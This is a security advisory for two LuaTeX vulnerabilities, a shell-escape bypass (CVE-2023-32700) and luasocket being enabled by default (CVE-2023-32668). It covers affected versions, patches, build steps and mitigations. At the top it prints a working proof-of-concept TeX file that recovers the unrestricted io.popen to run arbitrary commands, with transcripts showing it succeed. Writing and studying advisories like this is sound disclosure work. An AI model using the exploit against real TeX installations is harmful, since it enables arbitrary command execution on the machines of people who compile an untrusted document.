Any document compiled with older versions of LuaTeX can execute arbitrary
shell commands, even with shell escape disabled.
This affects LuaTeX versions 1.04–1.16.1, which were included in TeX Live
2017–2022 as well as the original release of TeX Live 2023. This issue was fixed
in LuaTeX 1.17.0, and is distributed as an update to TeX Live 2023.
To see if you are vulnerable, you may use the below sample document:
TeX File
% shell-escape-test.tex\directlua{localfunctionget_upvalue(func, name)local nups = debug.getinfo(func).nups
for i =1, nups dolocal current, value = debug.getupvalue(func, i)if current == name thenreturn value
endendendlocal outer =get_upvalue(io.popen,"popen")local popen =get_upvalue(outer or io.popen,"io_popen")print(popen(arg[rawlen(arg)]):read("*a"))}\csname@@end\endcsname\end
Vulnerable Transcripts
$lualatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"This is LuaHBTeX, Version 1.16.0 (TeX Live 2023)
restricted system commands enabled.
(./shell-escape-test.tex
LaTeX2e <2022-11-01> patch level 1
L3 programming layer <2023-04-20>@@@VULNERABLE@@@
)
296 words of node memory still in use:
1 hlist, 3 kern, 1 glyph, 1 attribute, 39 glue_spec, 1 attribute_list nodes
avail lists: 2:10,3:3,4:1,5:1
warning (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.
$luatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"This is LuaTeX, Version 1.16.0 (TeX Live 2023)
restricted system commands enabled.
(./shell-escape-test.tex@@@VULNERABLE@@@
)
warning (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.
Safe Transcripts
$lualatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"This is LuaHBTeX, Version 1.17.0 (TeX Live 2024)
restricted system commands enabled.
(./shell-escape-test.tex
LaTeX2e <2022-11-01> patch level 1
L3 programming layer <2023-04-20>[\directlua]:1: attempt to call a nil value (local 'popen')
stack traceback:
[\directlua]:1: in main chunk.
l.17 }
? )
296 words of node memory still in use:
1 hlist, 3 kern, 1 glyph, 1 attribute, 39 glue_spec, 1 attribute_list nodes
avail lists: 2:10,3:3,4:1,5:1
warning (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.
$luatex shell-escape-test.tex "sh -c 'echo @@@VULNERABLE@@@'"This is LuaTeX, Version 1.17.0 (TeX Live 2024)
restricted system commands enabled.
(./shell-escape-test.tex[\directlua]:1: attempt to call a nil value (local 'popen')
stack traceback:
[\directlua]:1: in main chunk.
l.17 }
? )
warning (pdf backend): no pages of output.
Transcript written on shell-escape-test.log.
Details
Affected Configurations
LuaTeX
LuaTeX versions 1.04–1.16.1 are affected by this vulnerability.
LuaTeX versions 1.17.0 (2023-04-29) and newer are not affected by
this vulnerability. LuaTeX versions prior to and including 1.03 (2017-02-16) are
also not affected.
If you have an unversioned LuaTeX built from source, commit
4d8b815d
introduced the issue on 2017-03-01, and commits
5650c067
and
b8b71a25
resolved the issue on 2023-04-24.
This vulnerability affects all 4 LuaTeX engines: LuaTeX, LuaHBTeX, LuaJITTeX,
and LuaJITHBTeX.
Distributions
This issue affects TeX Live 2017–2022 and the original release of TeX Live
2023. Beginning on 2023-05-02, TeX Live 2023 distributed the latest version of
LuaTeX that is not vulnerable to this issue.
This issue also affects MiKTeX 2.9.6300–23.4. On 2023-05-05, MiKTeX 23.5
distributed the latest version of LuaTeX that is not vulnerable to this
issue.
Other unnamed distributions are also affected. To check if your specific
installation is affected, check luatex --version or test the exploit code.
Formats
Plain LuaTeX, LuaLaTeX, and OpTeX are all affected by this vulnerability.
ConTeXt is not affected by this vulnerability since it
always has shell-escape enabled.
Operating Systems and Architectures
This vulnerability affects all operating systems and architectures.
Command-line Flags
All of LUATEX (default), LUATEX
--no-shell-escape, and LUATEX --shell-restricted
are vulnerable.
LUATEX can be any of luatex,
lualatex, luahbtex, optex, etc.
LUATEX --safer is not vulnerable; however
running with --safer disables loading
TTF/OTF fonts (via
luaotfload/fontspec), thus negating one of the primary
benefits of using LuaTeX. As such, exceedingly few users typically run LuaTeX
using with --safer.
Exploitation Requirements
In order to exploit this vulnerability, an attacker will generally need to
convince a user to compile (run) a malicious document using a vulnerable LuaTeX
version. An alternate attack would require the user to compile any
document in an attacker-controlled working directory.
LuaTeX has been included in all major TeX distributions since 2008, and most
extant versions of LuaTeX are vulnerable, so the technical requirements will
generally be met by all (La)TeX users. Users also typically assume that
compiling an unknown TeX document is safe (similar to how opening an unknown
PDF document is safe), so an attacker should be able to easily
persuade a potential victim to compile a malicious document.
Many online services (Overleaf,
CoCalc,
CodeCogs, etc.) allow
untrusted users to compile arbitrary documents; however, most of these services
are either pdfTeX-only or use additional sandboxing, so they should be
unaffected by this issue.
texlive.netwas initially vulnerable to this issue. Before this vulnerability was
publicly disclosed, I privately emailed the maintainers and the issue was
quickly fixed. There are a few other vulnerable online services, but these are
quite rare in comparison to the safe ones.
Solution
The Easy Way
If you are using TeX Live 2023 or MiKTeX, you can simply update your
distribution to install the patched version of LuaTeX.
If you are using a LuaTeX packaged by a Linux or BSD
distribution, then updating your distribution should get you a patched version
of LuaTeX. If this is not the case, then please point your distribution
maintainers to this page.
TeX Live ≤ 2022
If you are using an older version of TeX Live, then you should ideally
upgrade to TeX Live 2023. If this is not possible, then you can manually
install updated LuaTeX binaries.
If you’re using Linux x86_64 or Windows, then you can download
specifically-patched binaries in the next
section.
Otherwise, you can use the latest binaries from TeX Live 2023. Using newer
binaries with older TeX Live TEXMF trees will generally work
without causing any issues; however, there may be some backwards
incompatibilities depending on old your TeX installation is.
Download the appropriate files for your operating system and architecture
Unpack the archives in $TEXMFDIST. You can get the exact location by running
$kpsewhich --var-value=TEXMFDIST
Ensure that you overwrite the files luatex, luahbtex, and luajitex.
Rebuild the format files:
$fmtutil-sys --all
Verify that you have at least version 1.17.0 for all four commands:
$luatex --versionThis is LuaTeX, Version 1.17.0 (TeX Live 2023)
[...]
$luahbtex --versionThis is LuaHBTeX, Version 1.17.0 (TeX Live 2023)
[...]
$luajittex --versionThis is LuajitTeX, Version 1.17.0 (TeX Live 2023)
Development id: 7581
[...]
$luajithbtex --version# (optional)This is LuajitHBTeX, Version 1.17.0 (TeX Live 2023)
Development id: 7581
[...]
If you have no experience building TeX Live, then you may find it easier to
build LuaTeX alone. To do so, you can follow the simplified procedure below:
If you are using an older version of LuaTeX and need to maintain absolute
backwards compatibility, then you can apply the following patches to your
LuaTeX source:
diff --git a/source/texk/web2c/luatexdir/lua/loslibext.c b/source/texk/web2c/luatexdir/lua/loslibext.c
--- a/source/texk/web2c/luatexdir/lua/loslibext.c+++ b/source/texk/web2c/luatexdir/lua/loslibext.c
@@ -1047,6 +1047,111 @@ static int os_execute(lua_State * L)
}
+/*
+** ======================================================
+** l_kpse_popen spawns a new process connected to the current
+** one through the file streams with some checks by kpse.
+** Almost verbatim from Lua liolib.c .
+** =======================================================
+*/
+#if !defined(l_kpse_popen) /* { */
++#if defined(LUA_USE_POSIX) /* { */
++#define l_kpse_popen(L,c,m) (fflush(NULL), popen(c,m))
+#define l_kpse_pclose(L,file) (pclose(file))
++#elif defined(LUA_USE_WINDOWS) /* }{ */
++#define l_kpse_popen(L,c,m) (_popen(c,m))
+#define l_kpse_pclose(L,file) (_pclose(file))
++#else /* }{ */
++/* ISO C definitions */
+#define l_kpse_popen(L,c,m) \
+ ((void)((void)c, m), \
+ luaL_error(L, "'popen' not supported"), \
+ (FILE*)0)
+#define l_kpse_pclose(L,file) ((void)L, (void)file, -1)
++#endif /* } */
++#endif /* } */
+typedef luaL_Stream LStream;
+#define tolstream(L) ((LStream *)luaL_checkudata(L, 1, LUA_FILEHANDLE))
+static LStream *newprefile (lua_State *L) {
+ LStream *p = (LStream *)lua_newuserdata(L, sizeof(LStream));
+ p->closef = NULL; /* mark file handle as 'closed' */
+ luaL_setmetatable(L, LUA_FILEHANDLE);
+ return p;
+}
+static int io_kpse_pclose (lua_State *L) {
+ LStream *p = tolstream(L);
+ return luaL_execresult(L, l_kpse_pclose(L, p->f));
+}
+static int io_kpse_check_permissions(lua_State *L) {
+ const char *filename = luaL_checkstring(L, 1);
+ if (filename == NULL) {
+ lua_pushboolean(L,0);
+ lua_pushliteral(L,"no command name given");
+ } else if (shellenabledp <= 0) {
+ lua_pushboolean(L,0);
+ lua_pushliteral(L,"all command execution is disabled");
+ } else if (restrictedshell == 0) {
+ lua_pushboolean(L,1);
+ lua_pushstring(L,filename);
+ } else {
+ char *safecmd = NULL;
+ char *cmdname = NULL;
+ switch (shell_cmd_is_allowed(filename, &safecmd, &cmdname)) {
+ case 0:
+ lua_pushboolean(L,0);
+ lua_pushliteral(L, "specific command execution disabled");
+ break;
+ case 1:
+ /* doesn't happen */
+ lua_pushboolean(L,1);
+ lua_pushstring(L,filename);
+ break;
+ case 2:
+ lua_pushboolean(L,1);
+ lua_pushstring(L,safecmd);
+ break;
+ default:
+ /* -1 */
+ lua_pushboolean(L,0);
+ lua_pushliteral(L, "bad command line quoting");
+ break;
+ }
+ }
+ return 2;
+}
+static int io_kpse_popen (lua_State *L) {
+ const char *filename = NULL;
+ const char *mode = NULL;
+ LStream *p = NULL;
+ int okay;
+ filename = luaL_checkstring(L, 1);
+ mode = luaL_optstring(L, 2, "r");
+ lua_pushstring(L,filename);
+ io_kpse_check_permissions(L);
+ filename = luaL_checkstring(L, -1);
+ okay = lua_toboolean(L,-2);
+ if (okay && filename) {
+ p = newprefile(L);
+ luaL_argcheck(L, ((mode[0] == 'r' || mode[0] == 'w') && mode[1] == '\0'),
+ 2, "invalid mode");
+ p->f = l_kpse_popen(L, filename, mode);
+ p->closef = &io_kpse_pclose;
+ return (p->f == NULL) ? luaL_fileresult(L, 0, filename) : 1;
+ } else {
+ lua_pushnil(L);
+ lua_pushvalue(L,-2);
+ return 2;
+ }
+}
+void open_oslibext(lua_State * L)
{
@@ -1080,6 +1185,8 @@ void open_oslibext(lua_State * L)
lua_setfield(L, -2, "execute");
lua_pushcfunction(L, os_tmpdir);
lua_setfield(L, -2, "tmpdir");
+ lua_pushcfunction(L, io_kpse_popen);
+ lua_setfield(L, -2, "kpsepopen");
lua_pop(L, 1); /* pop the table */
}
diff --git a/source/texk/web2c/luatexdir/lua/luatex-core.lua b/source/texk/web2c/luatexdir/lua/luatex-core.lua
--- a/source/texk/web2c/luatexdir/lua/luatex-core.lua+++ b/source/texk/web2c/luatexdir/lua/luatex-core.lua
@@ -34,7 +34,6 @@ if kpseused == 1 then
local kpse_recordoutputfile = kpse.record_output_file
local io_open = io.open
- local io_popen = io.popen
local io_lines = io.lines
local fio_readline = fio.readline
@@ -75,12 +74,6 @@ if kpseused == 1 then
return f
end
- local function luatex_io_popen(name,...)
- local okay, found = kpse_checkpermission(name)
- if okay and found then
- return io_popen(found,...)
- end
- end
-- local function luatex_io_lines(name,how)
-- if name then
@@ -130,7 +123,7 @@ if kpseused == 1 then
mt.lines = luatex_io_readline
io.open = luatex_io_open
- io.popen = luatex_io_popen
+ io.popen = os.kpsepopen
else
@@ -169,6 +162,8 @@ if saferoption == 1 then
os.setenv = installdummy("os.setenv")
os.tempdir = installdummy("os.tempdir")
+ os.kpsepopen = installdummy("os.kpsepopen")
+ io.popen = installdummy("io.popen")
io.open = installdummy("io.open",luatex_io_open_readonly)
Aside from patching this security vulnerability, this patch will not cause
any observable changes in LuaTeX’s behaviour.
before you can build your LuaTeX binaries. Once built, verify that you are no
longer vulnerable by running the exploit code at the top of this document.
This step is required to update luatex-core.c which cannot be
cleanly diffed.
The above patch cleanly applies only to recent TeX Live versions. In
addition, using the above patch requires a working ConTeXt installation to run
mtxrun.
For each of the TeX Live versions listed below, you can simply apply the
linked patches to your current source and recompile, with no additional steps
needed. Additionally, I have provided patched binaries for select systems.
These patches/binaries only contain the fix for CVE-2023-32700
(popen); they do not any fixes for CVE-2023-32668
(socket).
Below I’ll list the exact steps I used to compile the binaries linked
above. This is only relevant if you want to exactly reproduce the binaries
linked above; if you’re maintaining a Linux/BSD distribution,
you should just apply the patches above then use your normal TeX Live build
process.
General
Download the source code:
$curl'https://tug.org/~mseven/luatex-files/20[17-23]/patch'-o'20#1.patch'$git init luatex$cd luatex$git fetch --depth1'https://gitlab.lisn.upsaclay.fr/texlive/luatex.git' tag 1.0.4 tag 1.07.0 tag 1.10.0 tag 1.12.0 tag 1.13.0 tag 1.15.0 tag 1.16.0
Linux x86_64
Since linking with glibc is only backwards compatible
(not forwards compatible), you need to build Linux binaries on the
oldest system that you plan on supporting. In 2023, this is typically
CentOS 7.
Recent versions of LuaTeX won’t build with the default CentOS 7 compiler
because it’s too old, so you’ll need to install
devtoolset-10. But older versions of LuaTeX won’t build with
the newer compilers, so you’ll also need the standard compiler
installed.
Otherwise, building is fairly simple:
$git checkout 1.0.4$git apply ../2017.patch$./build.sh --parallel--jit$mkdir../2017$cp build/texk/web2c/luatex build/texk/web2c/luajittex ../2017$git reset --hard @;git clean -fdx(repeat for 2018/1.07.0 and 2019/1.10.0)
$git checkout 1.12.0$git apply ../2020.patch$PATH=/opt/rh/devtoolset-10/root/usr/bin:/bin ./build.sh --parallel--jit--luahb--jithb$mkdir../2020$cp build/texk/web2c/luatex build/texk/web2c/luajittex build/texk/web2c/luahbtex build/texk/web2c/luajithbtex ../2020$git reset --hard @;git clean -fdx(repeat for 2021/1.13.0, 2022/1.15.0, and 2023/1.16.0)
I’ve done some basic testing with most of the binaries, and everything
seems to work as expected. I don’t expect for there to be any issues, but
use at your own risk.
Windows
Windows has a stable ABI, so we can build on any version
without any issues. We need a different system this time though since
CentOS 7 doesn’t package Mingw-w64. I used Ubuntu 18.04, but other distros
should work too.
The annoying part here is that TeX Live 2017–2022 compiled binaries for
x86, while TeX Live 2023 compiled binaries for
x86_64, so we need to install both Mingw-w64 x86
and Mingw-w64 x86_64. The TeX Live build process also needs
a native compiler, so we need to install a native Linux GCC.
And cross-compiling LuaJIT
requires that your native system has the same pointer size as the
destination system, so we also need to install a 32-bit Linux
GCC. Luckily, the GCC version in Ubuntu 18.04
works for compiling both new and old versions of LuaTeX; otherwise we’d need
eight different compilers.
There are two more complications. First, the binaries want to dynamically
link to libc++ and libgcc, so we need to modify
the build script to force static linkage. Second, the version of Mingw-w64
in Ubuntu 18.04 is too old to recognize the constant
PROCESSOR_ARCHITECTURE_ARM64, so we need to manually hard code
this.
Otherwise, building is fairly straightforward:
$git checkout 1.0.4$git apply ../2017.patch$sed-i's/2621440/2621440 -static-libgcc -static-libstdc++/' ./build.sh # Force a static build$./build.sh --mingw32--jit--parallel--build=i686-unknown-linux-gnu$mkdir../2017$cp build-windows/texk/web2c/luajittex.exe build-windows/texk/web2c/luatex.exe ../2017$git reset --hard @;git clean -fdx(repeat for 2018/1.07.0 and 2019/1.10.0)
$git checkout 1.12.0$git apply ../2020.patch$sed-i's/2621440/2621440 -static-libgcc -static-libstdc++/' ./build.sh # Force a static build$sed-i's/PROCESSOR_ARCHITECTURE_ARM64/12/' source/texk/web2c/luatexdir/lua/loslibext.c # Fix for older versions of Mingw-w64$./build.sh --mingw32--jit--luahb--jithb--parallel--build=i686-unknown-linux-gnu$mkdir../2020$cp build-windows32/texk/web2c/luajittex.exe build-windows32/texk/web2c/luatex.exe build-windows32/texk/web2c/luajithbtex.exe build-windows32/texk/web2c/luahbtex.exe ../2020$git reset --hard @;git clean -fdx(repeat for 2021/1.13.0 and 2022/1.15.0)
$git checkout 1.16.0$git apply ../2023.patch$sed-i's/2621440/2621440 -static-libgcc -static-libstdc++/' ./build.sh # Force a static build$sed-i's/PROCESSOR_ARCHITECTURE_ARM64/12/' source/texk/web2c/luatexdir/lua/loslibext.c # Fix for older versions of Mingw-w64$./build.sh --mingw64--jit--luahb--jithb--parallel$mkdir../2023$cp build-windows64/texk/web2c/luajittex.exe build-windows64/texk/web2c/luatex.exe build-windows64/texk/web2c/luajithbtex.exe build-windows64/texk/web2c/luahbtex.exe ../2023$git reset --hard @;git clean -fdx
I’ve only tested these binaries with Wine, but everything seems to work
as expected. I don’t expect for there to be any issues, but again, use at
your own risk.
Patching Without Modifying Binaries
If you absolutely cannot change your current LuaTeX binaries, the following
patch will provide protection against the exploit:
--- texmf-dist/tex/generic/tex-ini-files/luatexconfig.tex+++ texmf-dist/tex/generic/tex-ini-files/luatexconfig.tex@@ -66,4 +66,50 @@ \global\let\pageheight\undefined
\global\let\pagewidth\undefined
\global\let\dvimode\undefined
+ % \global\everyjob{\directlua{
+ % do
+ % local getupvalue = debug.getupvalue
+ % local setupvalue = debug.setupvalue
++ % local function get_upvalue(func, name)
+ % local nups = debug.getinfo(func).nups
++ % for i = 1, nups do
+ % local current, value = getupvalue(func, i)
+ % if current == name then
+ % return value
+ % end
+ % end
+ % end
++ % local popen_wrapper = get_upvalue(io.popen, "popen")
+ % local popen = get_upvalue(popen_wrapper or io.popen, "io_popen")
+ % print("<<<", popen, ">>>")
+ % local do_nothing = function() end
++ % local function checked_getupvalue(...)
+ % local name, value = getupvalue(...)
+ % if value == popen or
+ % value == getupvalue or
+ % value == setupvalue
+ % then
+ % return name, do_nothing
+ % else
+ % return name, value
+ % end
+ % end
+ % debug.getupvalue = checked_getupvalue
++ % function debug.setupvalue(func, index, value)
+ % local name, orig_value = checked_getupvalue(func, index)
+ % if orig_value == do_nothing or
+ % func == checked_getupvalue
+ % then
+ % return name
+ % else
+ % return setupvalue(func, index, value)
+ % end
+ % end
+ % end
+ % }}
\endgroup
--- texmf-dist/tex/generic/tex-ini-files/lualatex.ini+++ texmf-dist/tex/generic/tex-ini-files/lualatex.ini@@ -13,7 +13,7 @@ % a callback. Originally this code was loaded via lualatexquotejobname.tex
% but that required a hack around latex.ltx: the behaviour has been altered
% to allow the callback route to be used directly.
- \global\everyjob{\directlua{require("lualatexquotejobname.lua")}}
+ \global\everyjob\expandafter{\the\everyjob\directlua{require("lualatexquotejobname.lua")}}
\endgroup
\input latex.ltx
Then, rebuild your format files:
#fmtutil-sys --all
Finally, verify that the patch worked by testing with the exploit code at the
top of this document.
This patch may not provide complete protection against a motivated attacker,
so please use one of the other options if at all possible.
Impact
This vulnerability is quite serious: it completely defeats the security
protections of the second-most popular TeX engine. This means that any
TeX file — packages, classes, documents, .aux files, etc, — can
execute arbitrary commands on your computer.
Despite all this, this vulnerability has a relatively low impact for reasons
best described below:
Less facetiously, people rarely compile TeX files obtained from untrusted
sources. Most people only compile files that they have written themselves, from
trusted collaborators, or from packages distributed by their TeX distribution.
For this vulnerability to be an issue, you would need to compile an outright
malicious TeX file.
Most services that compile TeX files from unknown users tend to use
additional sandboxing. For example, Overleaf compiles each document in an
ephemeral container. This means that even if an attacker were to exploit this
vulnerability, they would only be able to execute commands inside the container,
which would be destroyed after the document is compiled. (And besides, Overleaf
enables unrestricted shell escape by default, so you can already execute
arbitrary commands.)
There are of course many services and users that will be affected by this
vulnerability, but they are the exception rather than the rule. We have observed
no signs of this vulnerability being exploited in the wild.
How it Works
The Exploit
When LuaTeX is started — before it runs any TeX or Lua code — it first calls
the C function load_luatex_core_lua. This function runs the file
luatex-core.lua that is embedded into the LuaTeX binary. Among
other things, this file modifies a few Lua modules, mostly for backwards
compatibility and security purposes.
Here’s an excerpt of the relevant code:
local io_popen = io.popen
-- [...]localfunctionluatex_io_popen(name,...)local okay, found =kpse_checkpermission(name)if okay and found thenreturnio_popen(found,...)endend-- [...]
io.popen = luatex_io_popen
The above is pretty straightforward: it saves a local copy of the original
io.popen, defines a new wrapper function that checks to see if the
command is allowed with the current shell escape setting, and sets
io.popen to the wrapper function.
The problem here is the local copy. The wrapper function saves a reference to
the original io.popen, and using the Lua standard library function
debug.getupvalue, we can access this internal reference. Once we’ve
extracted the internal io.popen, we can use it to execute arbitrary
processes without restriction, completely defeating any of the shell escape
protections.
The Fix
The fix is fairly straightforward: instead of implementing the wrapper
function in Lua, we now implement it in C, where we can no longer access the
internals from Lua. We still reassign the function from Lua, but this is safe
since doing so removes any reference to the original io.popen.
Additional Issues
While investigating this vulnerability, I discovered a few other minor
security issues. Patches for both of these are include in LuaTeX 1.17.0, but
not in the raw patches listed above.
debug Module still Available with --safer
When running LUATEX --safer, LuaTeX disables the debug module via luatex-core.lua:
if saferoption ==1then-- [...]
debug =nil
This isn’t very effective though since you can still access the entirety of the original module via package.loaded.debug. This is easily fixed by first nil’ing all the functions in the module, then by nil’ing package.loaded.debug.
This hasn’t been fixed yet, but it’s not really much of a vulnerability.
Hardly anyone ever uses LUATEX --safer, and the
debug module doesn’t do anything particularly unsafe.
LUATEX --safer disables it simply to reduce the attack
surface.
luasocket Enabled by Default
Summary
LuaTeX includes the
luasocket
module, which allows you to make network requests directly from LuaTeX:
\documentclass{article}\usepackage{luacode}\begin{luacode*}local http = require "socket.http"functionget_ip()
body, code, headers = http.request("http://icanhazip.com")
tex.sprint(body)end\end{luacode*}\def\getip{\directlua{get_ip()}}\begin{document}
Your IP address is \getip.
\end{document}
This is quite useful, but it’s also a minor security risk: a malicious
document could download dangerous files to your computer, or a malicious package
could upload all your files to a remote server.
This issue has been assigned
CVE-2023-32668 and
affects LuaTeX versions 0.27.0–1.16.2 which were included in TeX Live 2009–2023
and MiKTeX 2.9.0–23.4.
Details
LuaTeX has included luasocket since version 0.27.0 (2008-06-24).
From the very beginning, the manual stated that luasocket was
enabled by default. In addition, running luatex --help has always
listed a --nosocket option, which implies that sockets are
enabled by default.
Despite all this, it is very surprising that a TeX engine allows unrestricted
network access by default. This isn’t a “vulnerability” per se, but the feature
is sufficiently dangerous, unexpected, and rarely used for it to merit a
security update.
Solution
Since version 1.17.0 (2023-04-29,
b266ef07^..da4492c7),
LuaTeX disables the socket library by default. You can re-enable the
socket module at runtime by compiling with either
LUATEX --socket or LUATEX
--shell-escape.
If you have not installed LuaTeX 1.17.0, then you can block network access by
compiling all of your documents with LUATEX --nosocket.
If you are unable to upgrade to LuaTeX 1.17.0, you can patch the
LuaTeX binary or luatexconfig.tex to disable luasocket
by default; however, I wouldn’t recommend this. The only reason to intentionally
use an older LuaTeX binary is to maintain backwards compatibility, but the
socket change intentionally breaks this.
If you are running the initial version of TeX Live 2023, then the security
benefits of this change outweigh the backwards compatibility concerns. But if
you’re managing a Linux/BSD distribution that distributes an older
version of TeX Live, then it’s probably not worth it to backport this fix.
ConTeXt
Disabling luasocket by default breaks ConTeXt MkIV. TeX Live
2023 bundles a fix for this with the LuaTeX binary update. If you have manually
installed an updated LuaTeX, you can fix ConTeXt by running:
I privately emailed the vulnerability details to the security contacts for
Ubuntu, Debian, Arch, Gentoo, Fedora, RHEL,
OpenSUSE/SLES, FreeBSD,
OpenBSD, texlive.net, and Overleaf.
I (Max Chernoff) discovered and reported all three vulnerabilities. I also
created the luatexconfig.tex patch, wrote a few tiny
patches for the LuaTeX source, coordinated the patch with the distributions,
and wrote this document.
Luigi Scarso (of the LuaTeX team) wrote all the documentation and patches for the LuaTeX binary. Karl Berry helped coordinate the release of the rare mid-year upgrade. Thank you both!
Contact
If you have any questions about LuaTeX 1.17.0, CVE-2023-32668, CVE-2023-32700, this page,
or these vulnerabilities in general, feel free to email me at: